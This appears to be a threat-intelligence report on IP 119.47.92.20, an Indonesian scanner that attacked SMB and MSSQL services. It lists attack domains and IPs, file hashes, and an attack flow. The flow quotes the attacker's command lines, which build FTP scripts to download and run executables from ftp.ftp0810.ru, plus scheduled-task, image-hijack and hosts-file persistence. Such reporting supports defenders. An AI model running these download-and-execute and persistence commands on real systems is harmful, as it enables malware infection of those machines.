IP Address: 119.47.92.20Malicious

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IP Address:
119.47.92.20​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB MSSQL

Tags

Download File DNS Poisoning HTTP Cookie Hijacking SMB Null Session Login Download and Execute CMD Service Configuration Service Start SMB System File Modification Scheduled Task Creation Persistency - Image Hijack Outgoing Connection Service Creation Access Suspicious Domain File Operation By CMD WMI Persistence

Associated Attack Servers

js.1226bye.xyz grinknowledge.com img.vim-cn.com load2.wpd0126.info hostwindsdns.com trouble-free.net hosteons.com down.1226bye.pw js.1226bye.pw sharktech.net load.wpd0126.info

104.28.22.25 139.5.177.32 70.39.123.18 23.236.69.114 173.208.172.202 103.124.105.246 67.211.213.43 185.112.156.92 173.208.153.130 173.208.139.170 137.175.56.104 104.168.236.179 45.58.135.106 104.233.207.172 217.195.153.116 172.83.155.170

Basic Information

IP Address

119.47.92.20

Domain

-

ISP

PT. Jawa Pos National Network Medialink

Country

Indonesia

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-04-21

Last seen in Guardicore Centra

2021-02-25

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

c:\windows\system32\services.exe installed and started cmd as a service named lolu under service group None

Service Creation Service Start

Process c:\windows\system32\regsvr32.exe generated outgoing network traffic to: 139.5.177.32:8032 and 217.195.153.116:80

Outgoing Connection

The file C:\WINDOWS\Temp\conhoy.exe was downloaded and executed 19 times

Download and Execute

Process c:\windows\temp\conhoy.exe generated outgoing network traffic to: 103.124.105.246:80, 104.233.207.172:8172 and 137.175.56.104:80

Outgoing Connection

Process c:\windows\temp\conhoy.exe attempted to access suspicious domains: hosteons.com

Access Suspicious Domain Outgoing Connection

C:\WINDOWS\Temp\wmi.bat was downloaded

Download File

C:\WINDOWS\Temp\ntuser.dat was downloaded

Download File

The file C:\WINDOWS\Temp\u.exe was downloaded and executed

Download and Execute

c:\windows\inf\aspnet\lsma12.exe was downloaded

Download File

Process c:\windows\temp\u.exe generated outgoing network traffic to: 172.83.155.170:80, 45.58.135.106:80 and 45.58.135.106:8888

Outgoing Connection

System file c:\windows\debug\item.dat was modified 4 times

System File Modification

The file C:\WINDOWS\system\msinfo.exe was downloaded and executed

Download and Execute

The file C:\WINDOWS\system32\wpcap.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The file C:\WINDOWS\system32\packet.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The command line cmd /c echo open ftp.ftp0810.ru>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa1.job

The command line cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa2.job

The command line cmd /c echo open ftp.ftp0810.ru>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa3.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\ok.job

The command line c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\WINDOWS\Tasks\oka.job

The command line c:\windows\temp\conhoy.exe was scheduled to run by modifying C:\WINDOWS\Tasks\MicrosoftsWindowsy.job

c:\windows\system32\reg.exe set the command line ntsd -d to run using Persistency - Image Hijack 3 times

Persistency - Image Hijack

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

System file C:\WINDOWS\system32\drivers\etc\hosts was modified

System File Modification

System file C:\WINDOWS\system32\wbem\AutoRecover\88744D2A29102FC88ECF505DD2E984FC.mof was modified

System File Modification

The file c:\windows\debug\item.dat was downloaded and loaded by c:\windows\system32\rundll32.exe

Download and Execute

Connection was closed due to user inactivity

Associated Files

C:\Windows\SysWOW64\wpcap.dll

SHA256: b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

282360 bytes

C:\Windows\SysWOW64\npptools.dll

SHA256: 366b77df76729d08687051c1ec4b718ba1d650bca5b16eb15ec5c11570d6ff16

48128 bytes

C:\Windows\System\msinfo.exe

SHA256: 0ec4653e8322a95a6999cf4dc636d691de9d1a9c2cb383296335923405b77b12

6032384 bytes

C:\Windows\System\down.exe

SHA256: c269441ca155758378b6db525bf607ee3ece7c41470963b1a73372fab6aeee40

302510 bytes

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IP Address: 119.47.92.20​Malicious